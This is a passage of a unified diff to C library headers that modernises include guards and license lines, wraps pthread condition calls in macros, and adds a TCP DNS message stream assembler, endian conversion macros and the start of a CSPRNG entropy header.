-ISC_LANG_BEGINDECLS
+#define isc__condition_wait(cp, mp)                              \
+	{                                                        \
+		int _ret = pthread_cond_wait(cp, mp);            \
+		PTHREADS_RUNTIME_CHECK(pthread_cond_wait, _ret); \
+	}
+
+#define isc__condition_signal(cp)                                  \
+	{                                                          \
+		int _ret = pthread_cond_signal(cp);                \
+		PTHREADS_RUNTIME_CHECK(pthread_cond_signal, _ret); \
+	}
+
+#define isc__condition_broadcast(cp)                                  \
+	{                                                             \
+		int _ret = pthread_cond_broadcast(cp);                \
+		PTHREADS_RUNTIME_CHECK(pthread_cond_broadcast, _ret); \
+	}
+
+#define isc__condition_destroy(cp)                                  \
+	{                                                           \
+		int _ret = pthread_cond_destroy(cp);                \
+		PTHREADS_RUNTIME_CHECK(pthread_cond_destroy, _ret); \
+	}
 
 isc_result_t
-isc_condition_waituntil(isc_condition_t *, isc_mutex_t *, isc_time_t *);
+isc__condition_waituntil(pthread_cond_t *, pthread_mutex_t *, isc_time_t *);
 
 ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/counter.h b/lib/isc/include/isc/counter.h
index 2e54d34113..820e4a2f65 100644
--- a/lib/isc/include/isc/counter.h
+++ b/lib/isc/include/isc/counter.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_COUNTER_H
-#define ISC_COUNTER_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -81,5 +82,3 @@ isc_counter_detach(isc_counter_t **counterp);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_COUNTER_H */
diff --git a/lib/isc/include/isc/crc64.h b/lib/isc/include/isc/crc64.h
index 3e35f71f0f..4147672e75 100644
--- a/lib/isc/include/isc/crc64.h
+++ b/lib/isc/include/isc/crc64.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_CRC64_H
-#define ISC_CRC64_H 1
+#pragma once
 
 /*! \file isc/crc64.h
  * \brief CRC64 in C
@@ -52,5 +53,3 @@ isc_crc64_final(uint64_t *crc);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_CRC64_H */
diff --git a/lib/isc/include/isc/deprecated.h b/lib/isc/include/isc/deprecated.h
deleted file mode 100644
index 8664968eb4..0000000000
--- a/lib/isc/include/isc/deprecated.h
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_DEPRECATED_H
-#define ISC_DEPRECATED_H
-
-#if (__GNUC__ + 0) > 3
-#define ISC_DEPRECATED __attribute__((deprecated))
-#else		       /* if (__GNUC__ + 0) > 3 */
-#define ISC_DEPRECATED /* none */
-#endif		       /* __GNUC__ > 3*/
-
-#endif /* ifndef ISC_DEPRECATED_H */
diff --git a/lib/isc/include/isc/dir.h b/lib/isc/include/isc/dir.h
index f42ebe6959..51db17f75a 100644
--- a/lib/isc/include/isc/dir.h
+++ b/lib/isc/include/isc/dir.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,18 +11,24 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_DIR_H
-#define ISC_DIR_H 1
+#pragma once
 
 /*! \file */
 
 #include <dirent.h>
+#include <limits.h>
+#include <sys/types.h> /* Required on some systems. */
 
 #include <isc/lang.h>
-#include <isc/platform.h>
 #include <isc/result.h>
 
-#include <sys/types.h> /* Required on some systems. */
+#ifndef NAME_MAX
+#define NAME_MAX 256
+#endif
+
+#ifndef PATH_MAX
+#define PATH_MAX 1024
+#endif
 
 /*% Directory Entry */
 typedef struct isc_direntry {
@@ -33,7 +41,7 @@ typedef struct isc_dir {
 	unsigned int   magic;
 	char	       dirname[PATH_MAX];
 	isc_direntry_t entry;
-	DIR *	       handle;
+	DIR	      *handle;
 } isc_dir_t;
 
 ISC_LANG_BEGINDECLS
@@ -59,15 +67,4 @@ isc_dir_chdir(const char *dirname);
 isc_result_t
 isc_dir_chroot(const char *dirname);
 
-isc_result_t
-isc_dir_createunique(char *templet);
-/*!<
- * Use a templet (such as from isc_file_mktemplate()) to create a uniquely
- * named, empty directory.  The templet string is modified in place.
- * If result == ISC_R_SUCCESS, it is the name of the directory that was
- * created.
- */
-
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_DIR_H */
diff --git a/lib/isc/include/isc/dnsstream.h b/lib/isc/include/isc/dnsstream.h
new file mode 100644
index 0000000000..472cf22dd3
--- /dev/null
+++ b/lib/isc/include/isc/dnsstream.h
@@ -0,0 +1,588 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+#pragma once
+
+#include <isc/buffer.h>
+#include <isc/mem.h>
+
+typedef struct isc_dnsstream_assembler isc_dnsstream_assembler_t;
+/*!<
+ * \brief The 'isc_dnsstream_assembler_t' object is built on top of
+ * 'isc_buffer_t' and intended to encapsulate the state machine
+ * used for handling DNS messages received in the format used for
+ * messages transmitted over TCP.
+ *
+ * The idea is that the object accepts the input data received from a
+ * socket (or anywhere else, for that matter), tries to assemble DNS
+ * messages from the incoming data and calls the callback passing it
+ * the status of the incoming data as well as a pointer to the memory
+ * region referencing the data of the assembled message (in the case
+ * there is enough data to assemble the message). It is capable of
+ * assembling DNS messages no matter how "torn apart" they are when
+ * sent over network.
+ *
+ * The implementation is completely decoupled from the networking code
+ * itself makes it trivial to write unit tests for it, leading to
+ * better verification of its correctness.  Another important aspect
+ * of its functioning is directly related to the fact that it is built
+ * on top of 'isc_buffer_t', which tries to manage memory in a
+ * smart way. In particular:
+ *
+ *\li	It tries to use a static buffer for smaller messages, reducing
+ *      pressure on the memory manager (hot path);
+ *
+ *\li	When allocating dynamic memory for larger messages, it tries to
+ *      allocate memory conservatively (generic path).
+ *
+ * That is, when using 'isc_dnsstream_assembler_t', we allocate memory
+ * conservatively, avoiding any allocations whatsoever for small DNS
+ * messages (whose size is lesser of equal to 512 bytes). The last
+ * characteristic is important in the context of DNS, as most of DNS
+ * messages are small.
+ */
+
+typedef bool (*isc_dnsstream_assembler_cb_t)(isc_dnsstream_assembler_t *dnsasm,
+					     const isc_result_t		result,
+					     isc_region_t *restrict region,
+					     void *cbarg, void *userarg);
+/*!<
+ * /brief The type of callback called when processing the data passed to a
+ * 'isc_dnsstream_assembler_t' type.
+ *
+ * The callback accepts the following arguments:
+ *
+ *\li	'isc_dnsstream_assembler_t *dnsasm' - a pointer to the
+ *		'isc_dnsstream_assembler_t' object in use;
+ *\li	'isc_result_t result' - processing status;
+ *\li	'isc_region_t *region' - the region referencing the DNS message if
+ *		assembled, empty otherwise;
+ *\li	'void *cbarg' - the callback argument, set during the object
+ *		initialisation or when setting the callback;
+ *\li	'void *userarg' - the callback argument passed to it when processing the
+ *      current chunk of data;
+ *
+ * Return values:
+ *
+ *\li	'true' - continue processing data, if there is any non-processed data
+ *		left;
+ *\li	'false' - stop processing data regardless of non-processed data
+ *		availability.
+ *
+ * Processing status values:
+ *
+ *\li	'ISC_R_SUCCESS' - a message has been successfully assembled;
+ *\li	'ISC_R_NOMORE'  - not enough data to assemble a DNS message, need to get
+more;
+ *\li	'ISC_R_RANGE' - there was an attempt to process a zero-sized DNS
+message (i.e. someone attempts to send us junk data).
+ */
+
+#define ISC_DNSSTREAM_STATIC_BUFFER_SIZE (512)
+
+struct isc_dnsstream_assembler {
+	isc_buffer_t dnsbuf; /*!< Internal buffer for assembling DNS
+				   messages. */
+	uint8_t	      buf[ISC_DNSSTREAM_STATIC_BUFFER_SIZE];
+	isc_buffer_t *current; /*!< Pointer to the currently used data buffer.
+				  Most of the time it point to the 'dnsbuf'
+				  except when dealing with data in place (when
+				  it points to a temporary buffer) */
+	isc_dnsstream_assembler_cb_t onmsg_cb; /*!< Data processing callback. */
+	void			    *cbarg;    /*!< Callback argument. */
+	bool calling_cb; /*<! Callback calling marker. Used to detect recursive
+			    object uses (changing the data state from withing
+			    the callback). */
+	isc_result_t result; /*<! The last passed to the callback processing
+				status value. */
+	isc_mem_t *mctx;
+};
+
+static inline void
+isc_dnsstream_assembler_init(isc_dnsstream_assembler_t *restrict dnsasm,
+			     isc_mem_t *memctx, isc_dnsstream_assembler_cb_t cb,
+			     void *cbarg);
+/*!<
+ * \brief Initialise the given 'isc_dnsstream_assembler_t' object, attach
+ * to the memory context.
+ *
+ * Requires:
+ *\li	'dnsasm' is not NULL;
+ *\li	'memctx' is not NULL;
+ *\li	'cb' is not NULL.
+ */
+
+static inline void
+isc_dnsstream_assembler_uninit(isc_dnsstream_assembler_t *restrict dnsasm);
+/*!<
+ * \brief Un-initialise the given 'isc_dnsstream_assembler_t' object, detach
+ * to the attached memory context. Destroys any internal unprocessed data.
+ *
+ * Requires:
+ *\li	'dnsasm' is not NULL.
+ */
+
+static inline isc_dnsstream_assembler_t *
+isc_dnsstream_assembler_new(isc_mem_t *memctx, isc_dnsstream_assembler_cb_t cb,
+			    void *cbarg);
+/*!<
+ * \brief Allocate and initialise a new 'isc_dnsstream_assembler_t' object,
+ * attach to the memory context.
+ *
+ * Requires:
+ *\li	'dnsasm' is not NULL;
+ *\li	'memctx' is not NULL;
+ *\li	'cb' is not NULL.
+ */
+
+static inline void
+isc_dnsstream_assembler_free(isc_dnsstream_assembler_t **restrict dnsasm);
+/*!<
+ * \brief Un-initialise the given 'isc_dnsstream_assembler_t' object, detach
+ * to the attached memory context, free the memory consumed by the object.
+ *
+ * Requires:
+ *\li	'dnsasm' is not NULL;
+ *\li	'dnsasm' is not pointing to NULL.
+ */
+
+static inline void
+isc_dnsstream_assembler_setcb(isc_dnsstream_assembler_t *restrict dnsasm,
+			      isc_dnsstream_assembler_cb_t cb, void *cbarg);
+/*!<
+ * \brief Change the data processing callback and its argument within the given
+ * 'isc_dnsstream_assembler_t' object.
+ *
+ * Requires:
+ *\li	'dnsasm' is not NULL;
+ *\li	'cb' is not NULL.
+ */
+
+static inline void
+isc_dnsstream_assembler_incoming(isc_dnsstream_assembler_t *restrict dnsasm,
+				 void		   *userarg, void *restrict buf,
+				 const unsigned int buf_size);
+/*!<
+ * \brief Process the new incoming data to the given
+ * 'isc_dnsstream_assembler_t' or continue processing the currently
+ * unprocessed data (when 'buf' equals NULL and 'buf_size' equals
+ * 0). Call the callback passing a status of data to it.
+ *
+ * To avoid erroneously recursive usage of the object, it is forbidden to call
+ * this function from within the callback. Doing so will abort the program.
+ *
+ * Requires:
+ *\li	'dnsasm' is not NULL.
+ */
+
+static inline isc_result_t
+isc_dnsstream_assembler_result(const isc_dnsstream_assembler_t *restrict dnsasm);
+/*!<
+ * \brief Return the last data processing status passed to the
+ * callback.
+ *
+ * Requires:
+ *\li	'dnsasm' is not NULL.
+ *
+ * Return values:
+ *\li	'ISC_R_SUCCESS' - a message has been successfully assembled;
+ *\li	'ISC_R_NOMORE'  - not enough data to assemble a DNS message, need to get
+more;
+ *\li	'ISC_R_RANGE' - there was an attempt to process a zero-sized DNS;
+ *\li	'ISC_R_UNSET' - not data has been passed to the object.
+ */
+
+static inline size_t
+isc_dnsstream_assembler_remaininglength(
+	const isc_dnsstream_assembler_t *restrict dnsasm);
+/*!<
+ * \brief Return the amount of currently unprocessed data within the given
+ * 'isc_dnsstream_assembler_t' object
+ *
+ * Requires:
+ *\li	'dnsasm' is not NULL.
+ */
+
+static inline void
+isc_dnsstream_assembler_clear(isc_dnsstream_assembler_t *restrict dnsasm);
+/*!<
+ * \brief Clear the given 'isc_dnsstream_assembler_t' object from
+ * any unprocessed data, clear the last data processing status (set it to
+ * 'ISC_R_UNSET').
+ *
+ * Requires:
+ *\li	'dnsasm' is not NULL.
+ */
+
+static inline void
+isc_dnsstream_assembler_init(isc_dnsstream_assembler_t *restrict dnsasm,
+			     isc_mem_t *memctx, isc_dnsstream_assembler_cb_t cb,
+			     void *cbarg) {
+	REQUIRE(dnsasm != NULL);
+	REQUIRE(memctx != NULL);
+	REQUIRE(cb != NULL);
+
+	*dnsasm = (isc_dnsstream_assembler_t){ .result = ISC_R_UNSET };
+	isc_dnsstream_assembler_setcb(dnsasm, cb, cbarg);
+	isc_mem_attach(memctx, &dnsasm->mctx);
+
+	isc_buffer_init(&dnsasm->dnsbuf, dnsasm->buf, sizeof(dnsasm->buf));
+	isc_buffer_setmctx(&dnsasm->dnsbuf, dnsasm->mctx);
+
+	dnsasm->current = &dnsasm->dnsbuf;
+}
+
+static inline void
+isc_dnsstream_assembler_uninit(isc_dnsstream_assembler_t *restrict dnsasm) {
+	REQUIRE(dnsasm != NULL);
+	/*
+	 * Uninitialising the object from withing the callback does not
+	 * make any sense.
+	 */
+	INSIST(dnsasm->calling_cb == false);
+	isc_buffer_clearmctx(&dnsasm->dnsbuf);
+	isc_buffer_invalidate(&dnsasm->dnsbuf);
+	if (dnsasm->mctx != NULL) {
+		isc_mem_detach(&dnsasm->mctx);
+	}
+	dnsasm->current = NULL;
+}
+
+static inline isc_dnsstream_assembler_t *
+isc_dnsstream_assembler_new(isc_mem_t *memctx, isc_dnsstream_assembler_cb_t cb,
+			    void *cbarg) {
+	isc_dnsstream_assembler_t *newasm;
+
+	REQUIRE(memctx != NULL);
+	REQUIRE(cb != NULL);
+
+	newasm = isc_mem_get(memctx, sizeof(*newasm));
+	isc_dnsstream_assembler_init(newasm, memctx, cb, cbarg);
+
+	return (newasm);
+}
+
+static inline void
+isc_dnsstream_assembler_free(isc_dnsstream_assembler_t **restrict dnsasm) {
+	isc_dnsstream_assembler_t *restrict oldasm = NULL;
+	isc_mem_t *memctx = NULL;
+	REQUIRE(dnsasm != NULL && *dnsasm != NULL);
+
+	oldasm = *dnsasm;
+
+	isc_mem_attach(oldasm->mctx, &memctx);
+	isc_dnsstream_assembler_uninit(oldasm);
+	isc_mem_putanddetach(&memctx, oldasm, sizeof(*oldasm));
+
+	*dnsasm = NULL;
+}
+
+static inline void
+isc_dnsstream_assembler_setcb(isc_dnsstream_assembler_t *restrict dnsasm,
+			      isc_dnsstream_assembler_cb_t cb, void *cbarg) {
+	REQUIRE(dnsasm != NULL);
+	REQUIRE(cb != NULL);
+	dnsasm->onmsg_cb = cb;
+	dnsasm->cbarg = cbarg;
+}
+
+static inline bool
+isc__dnsstream_assembler_callcb(isc_dnsstream_assembler_t *restrict dnsasm,
+				const isc_result_t result,
+				isc_region_t *restrict region, void *userarg) {
+	bool ret;
+
+	dnsasm->result = result;
+	dnsasm->calling_cb = true;
+	ret = dnsasm->onmsg_cb(dnsasm, result, region, dnsasm->cbarg, userarg);
+	dnsasm->calling_cb = false;
+
+	return (ret);
+}
+
+static inline bool
+isc__dnsstream_assembler_handle_message(
+	isc_dnsstream_assembler_t *restrict dnsasm, void *userarg) {
+	bool	     cont = false;
+	isc_region_t region = { 0 };
+	uint16_t     dnslen = 0;
+	isc_result_t result;
+
+	INSIST(dnsasm->calling_cb == false);
+
+	result = isc_buffer_peekuint16(dnsasm->current, &dnslen);
+
+	switch (result) {
+	case ISC_R_SUCCESS:
+		if (dnslen == 0) {
+			/*
+			 * Someone seems to send us binary junk or output from
+			 * /dev/zero
+			 */
+			result = ISC_R_RANGE;
+			isc_dnsstream_assembler_clear(dnsasm);
+			break;
+		}
+
+		if (dnslen > (isc_buffer_remaininglength(dnsasm->current) -
+			      sizeof(uint16_t)))
+		{
+			result = ISC_R_NOMORE;
+			break;
+		}
+		break;
+	case ISC_R_NOMORE:
+		break;
+	default:
+		UNREACHABLE();
+	}
+
+	if (result == ISC_R_SUCCESS) {
+		(void)isc_buffer_getuint16(dnsasm->current);
+		isc_buffer_remainingregion(dnsasm->current, &region);
+		region.length = dnslen;
+		cont = isc__dnsstream_assembler_callcb(dnsasm, result, &region,
+						       userarg);
+		if (isc_buffer_remaininglength(dnsasm->current) >= dnslen) {
+			isc_buffer_forward(dnsasm->current, dnslen);
+		}
+	} else {
+		cont = false;
+		(void)isc__dnsstream_assembler_callcb(dnsasm, result, NULL,
+						      userarg);
+	}
+
+	return (cont);
+}
+
+static inline void
+isc__dnsstream_assembler_processing(isc_dnsstream_assembler_t *restrict dnsasm,
+				    void *userarg) {
+	while (isc__dnsstream_assembler_handle_message(dnsasm, userarg)) {
+		if (isc_buffer_remaininglength(dnsasm->current) == 0) {
+			break;
+		}
+	}
+}
+
+static inline void
+isc__dnsstream_assembler_incoming_direct(
+	isc_dnsstream_assembler_t *restrict dnsasm, void *userarg,
+	void *restrict buf, const unsigned int		  buf_size) {
+	isc_buffer_t data = { 0 };
+	isc_region_t remaining = { 0 };
+	INSIST(dnsasm->current == &dnsasm->dnsbuf);
+
+	isc_buffer_init(&data, buf, buf_size);
+	isc_buffer_add(&data, buf_size);
+
+	/*
+	 * Replace the internal buffer within the assembler
+	 * object with a temporary buffer referring to the
+	 * passed data directly.
+	 */
+	dnsasm->current = &data;
+
+	/* process the data internally */
+	isc__dnsstream_assembler_processing(dnsasm, userarg);
+
+	/* set the internal buffer back */
+	dnsasm->current = &dnsasm->dnsbuf;
+
+	isc_buffer_remainingregion(&data, &remaining);
+	if (remaining.length != 0) {
+		/*
+		 * Some unprocessed data left - let's put it
+		 * into the internal buffer for processing
+		 * later.
+		 */
+		isc_buffer_putmem(dnsasm->current, remaining.base,
+				  remaining.length);
+	}
+}
+
+static inline bool
+isc__dnsstream_assembler_incoming_direct_non_empty(
+	isc_dnsstream_assembler_t *restrict dnsasm, void *userarg,
+	void *restrict buf, unsigned int		  buf_size) {
+	size_t	 remaining;
+	uint16_t dnslen = 0;
+	size_t	 until_complete = 0;
+	size_t	 remaining_no_len;
+
+	if (isc_buffer_peekuint16(dnsasm->current, &dnslen) != ISC_R_SUCCESS) {
+		return (false);
+	}
+
+	remaining = isc_buffer_remaininglength(dnsasm->current);
+	remaining_no_len = remaining - sizeof(uint16_t);
+
+	/*
+	 * We have data for more than one DNS message - that means that on
+	 * previous iteration we stopped prematurely intentionally.
+	 */
+	if (remaining_no_len >= dnslen) {
+		return (false);
+	}
+
+	/*
+	 * At this point we know that we have incomplete message in the
+	 * internal buffer, let's find how much data do we need to
+	 * complete the message and then check if we have enough data to
+	 * handle it.
+	 */
+	until_complete = dnslen - remaining_no_len;
+
+	if (buf_size >= until_complete) {
+		bool	 cont;
+		uint8_t *unprocessed_buf = NULL;
+		size_t	 unprocessed_size;
+
+		isc_buffer_putmem(dnsasm->current, buf, until_complete);
+		unprocessed_buf = ((uint8_t *)buf + until_complete);
+		unprocessed_size = buf_size - until_complete;
+
+		/* handle the message */
+		cont = isc__dnsstream_assembler_handle_message(dnsasm, userarg);
+		isc_buffer_trycompact(dnsasm->current);
+
+		INSIST(isc_buffer_remaininglength(dnsasm->current) == 0);
+		if (unprocessed_size == 0) {
+			return (true);
+		}
+
+		if (cont) {
+			/*
+			 * The callback logic told us to continue processing
+			 * messages, let's try to process the rest directly.
+			 */
+			isc__dnsstream_assembler_incoming_direct(
+				dnsasm, userarg, unprocessed_buf,
+				unprocessed_size);
+		} else {
+			/*
+			 * The callback logic told us to stop, let's copy the
+			 * remaining data into the internal buffer to process it
+			 * later.
+			 */
+			isc_buffer_putmem(dnsasm->current, unprocessed_buf,
+					  unprocessed_size);
+		}
+
+		return (true);
+	}
+
+	return (false);
+}
+
+static inline void
+isc_dnsstream_assembler_incoming(isc_dnsstream_assembler_t *restrict dnsasm,
+				 void		   *userarg, void *restrict buf,
+				 const unsigned int buf_size) {
+	REQUIRE(dnsasm != NULL);
+	INSIST(!dnsasm->calling_cb);
+
+	if (buf != NULL && buf_size > 0) {
+		size_t remaining;
+
+		remaining = isc_buffer_remaininglength(&dnsasm->dnsbuf);
+
+		if (remaining == 0) {
+			/*
+			 * We can try to handle messages in-place (without
+			 * memory copying/re-allocation) in the case we have no
+			 * other data in the internal buffer and have received
+			 * one or more complete messages at once. This way we
+			 * can avoid copying memory into the assembler's
+			 * internal buffer.
+			 */
+			isc__dnsstream_assembler_incoming_direct(
+				dnsasm, userarg, buf, buf_size);
+			return;
+		} else if (isc__dnsstream_assembler_incoming_direct_non_empty(
+				   dnsasm, userarg, buf, buf_size))
+		{
+			/*
+			 * We had incomplete message in the buffer, but received
+			 * enough data to handle it. After that we handle the
+.			 * rest (if any) of the messages directly without
+			 * copying into the internal buffer. Any data, belonging
+			 * to incomplete messages at the end of the buffer, was
+			 * copied into the internal buffer to be processed later
+			 * when receiving the next batch of data.
+			 */
+			return;
+		} else if (remaining == 1) {
+			/* Mostly the same case as above, but we have incomplete
+			 * message length in the buffer and received at least
+			 * one byte to complete it.
+			 */
+			void  *unprocessed_buf = NULL;
+			size_t unprocessed_size;
+
+			isc_buffer_putmem(dnsasm->current, buf, 1);
+			unprocessed_buf = (uint8_t *)buf + 1;
+			unprocessed_size = buf_size - 1;
+
+			if (isc__dnsstream_assembler_incoming_direct_non_empty(
+				    dnsasm, userarg, unprocessed_buf,
+				    unprocessed_size))
+			{
+				return;
+			}
+
+			if (unprocessed_size > 0) {
+				isc_buffer_putmem(dnsasm->current,
+						  unprocessed_buf,
+						  unprocessed_size);
+			}
+			/* let's continue processing via the generic path */
+		} else {
+			/*
+			 * Put the data into the internal buffer for
+			 * processing.
+			 */
+			isc_buffer_putmem(dnsasm->current, buf, buf_size);
+		}
+	}
+
+	isc__dnsstream_assembler_processing(dnsasm, userarg);
+
+	isc_buffer_trycompact(dnsasm->current);
+}
+
+static inline isc_result_t
+isc_dnsstream_assembler_result(
+	const isc_dnsstream_assembler_t *restrict dnsasm) {
+	REQUIRE(dnsasm != NULL);
+
+	return (dnsasm->result);
+}
+
+static inline size_t
+isc_dnsstream_assembler_remaininglength(
+	const isc_dnsstream_assembler_t *restrict dnsasm) {
+	REQUIRE(dnsasm != NULL);
+
+	return (isc_buffer_remaininglength(dnsasm->current));
+}
+
+static inline void
+isc_dnsstream_assembler_clear(isc_dnsstream_assembler_t *restrict dnsasm) {
+	REQUIRE(dnsasm != NULL);
+
+	isc_buffer_clear(dnsasm->current);
+	if (dnsasm->current != &dnsasm->dnsbuf) {
+		isc_buffer_clear(&dnsasm->dnsbuf);
+	}
+	dnsasm->result = ISC_R_UNSET;
+}
diff --git a/lib/isc/include/isc/endian.h b/lib/isc/include/isc/endian.h
index 57122d85b8..6d5e6c2b4f 100644
--- a/lib/isc/include/isc/endian.h
+++ b/lib/isc/include/isc/endian.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -162,3 +164,101 @@
 
 #endif /* WORDS_BIGENDIAN */
 #endif /* !htobe64 */
+
+/*
+ * Macros to convert uint8_t arrays to integers.
+ */
+
+/* Low-Endian */
+
+#define ISC_U16TO8_LE(p, v)      \
+	(p)[0] = (uint8_t)((v)); \
+	(p)[1] = (uint8_t)((v) >> 8);
+
+#define ISC_U8TO16_LE(p) (((uint16_t)((p)[0])) | ((uint16_t)((p)[1]) << 8))
+
+#define ISC_U32TO8_LE(p, v)            \
+	(p)[0] = (uint8_t)((v));       \
+	(p)[1] = (uint8_t)((v) >> 8);  \
+	(p)[2] = (uint8_t)((v) >> 16); \
+	(p)[3] = (uint8_t)((v) >> 24);
+
+#define ISC_U8TO32_LE(p)                                    \
+	(((uint32_t)((p)[0])) | ((uint32_t)((p)[1]) << 8) | \
+	 ((uint32_t)((p)[2]) << 16) | ((uint32_t)((p)[3]) << 24))
+
+#define ISC_U48TO8_LE(p, v)            \
+	(p)[0] = (uint8_t)((v));       \
+	(p)[1] = (uint8_t)((v) >> 8);  \
+	(p)[2] = (uint8_t)((v) >> 16); \
+	(p)[3] = (uint8_t)((v) >> 24); \
+	(p)[4] = (uint8_t)((v) >> 32); \
+	(p)[5] = (uint8_t)((v) >> 40);
+
+#define ISC_U8TO48_LE(p)                                           \
+	(((uint64_t)((p)[0])) | ((uint64_t)((p)[1]) << 8) |        \
+	 ((uint64_t)((p)[2]) << 16) | ((uint64_t)((p)[3]) << 24) | \
+	 ((uint64_t)((p)[4]) << 32) | ((uint64_t)((p)[5]) << 40))
+
+#define ISC_U64TO8_LE(p, v)            \
+	(p)[0] = (uint8_t)((v));       \
+	(p)[1] = (uint8_t)((v) >> 8);  \
+	(p)[2] = (uint8_t)((v) >> 16); \
+	(p)[3] = (uint8_t)((v) >> 24); \
+	(p)[4] = (uint8_t)((v) >> 32); \
+	(p)[5] = (uint8_t)((v) >> 40); \
+	(p)[6] = (uint8_t)((v) >> 48); \
+	(p)[7] = (uint8_t)((v) >> 56);
+
+#define ISC_U8TO64_LE(p)                                           \
+	(((uint64_t)((p)[0])) | ((uint64_t)((p)[1]) << 8) |        \
+	 ((uint64_t)((p)[2]) << 16) | ((uint64_t)((p)[3]) << 24) | \
+	 ((uint64_t)((p)[4]) << 32) | ((uint64_t)((p)[5]) << 40) | \
+	 ((uint64_t)((p)[6]) << 48) | ((uint64_t)((p)[7]) << 56))
+
+/* Big-Endian */
+
+#define ISC_U16TO8_BE(p, v)           \
+	(p)[0] = (uint8_t)((v) >> 8); \
+	(p)[1] = (uint8_t)((v));
+
+#define ISC_U8TO16_BE(p) (((uint16_t)((p)[0]) << 8) | ((uint16_t)((p)[1])))
+
+#define ISC_U32TO8_BE(p, v)            \
+	(p)[0] = (uint8_t)((v) >> 24); \
+	(p)[1] = (uint8_t)((v) >> 16); \
+	(p)[2] = (uint8_t)((v) >> 8);  \
+	(p)[3] = (uint8_t)((v));
+
+#define ISC_U8TO32_BE(p)                                           \
+	(((uint32_t)((p)[0]) << 24) | ((uint32_t)((p)[1]) << 16) | \
+	 ((uint32_t)((p)[2]) << 8) | ((uint32_t)((p)[3])))
+
+#define ISC_U48TO8_BE(p, v)            \
+	(p)[0] = (uint8_t)((v) >> 40); \
+	(p)[1] = (uint8_t)((v) >> 32); \
+	(p)[2] = (uint8_t)((v) >> 24); \
+	(p)[3] = (uint8_t)((v) >> 16); \
+	(p)[4] = (uint8_t)((v) >> 8);  \
+	(p)[5] = (uint8_t)((v));
+
+#define ISC_U8TO48_BE(p)                                           \
+	(((uint64_t)((p)[0]) << 40) | ((uint64_t)((p)[1]) << 32) | \
+	 ((uint64_t)((p)[2]) << 24) | ((uint64_t)((p)[3]) << 16) | \
+	 ((uint64_t)((p)[4]) << 8) | ((uint64_t)((p)[5])))
+
+#define ISC_U64TO8_BE(p, v)            \
+	(p)[0] = (uint8_t)((v) >> 56); \
+	(p)[1] = (uint8_t)((v) >> 48); \
+	(p)[2] = (uint8_t)((v) >> 40); \
+	(p)[3] = (uint8_t)((v) >> 32); \
+	(p)[4] = (uint8_t)((v) >> 24); \
+	(p)[5] = (uint8_t)((v) >> 16); \
+	(p)[6] = (uint8_t)((v) >> 8);  \
+	(p)[7] = (uint8_t)((v));
+
+#define ISC_U8TO64_BE(p)                                           \
+	(((uint64_t)((p)[0]) << 56) | ((uint64_t)((p)[1]) << 48) | \
+	 ((uint64_t)((p)[2]) << 40) | ((uint64_t)((p)[3]) << 32) | \
+	 ((uint64_t)((p)[4]) << 24) | ((uint64_t)((p)[5]) << 16) | \
+	 ((uint64_t)((p)[6]) << 8) | ((uint64_t)((p)[7])))
diff --git a/lib/isc/include/isc/entropy.h b/lib/isc/include/isc/entropy.h
new file mode 100644
index 0000000000..4e2dc5f884
--- /dev/null
+++ b/lib/isc/include/isc/entropy.h
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <stdlib.h>
+
+#include <isc/lang.h>
+
+/*! \file isc/entropy.h
+ * \brief Implements wrapper around CSPRNG cryptographic library calls
+ * for getting cryptographically secure pseudo-random numbers.
+ *
+ * Uses synchronous version of uv_random().
+ */
+
+ISC_LANG_BEGINDECLS
+
+void
+isc_entropy_get(void *buf, size_t buflen);
+/*!<
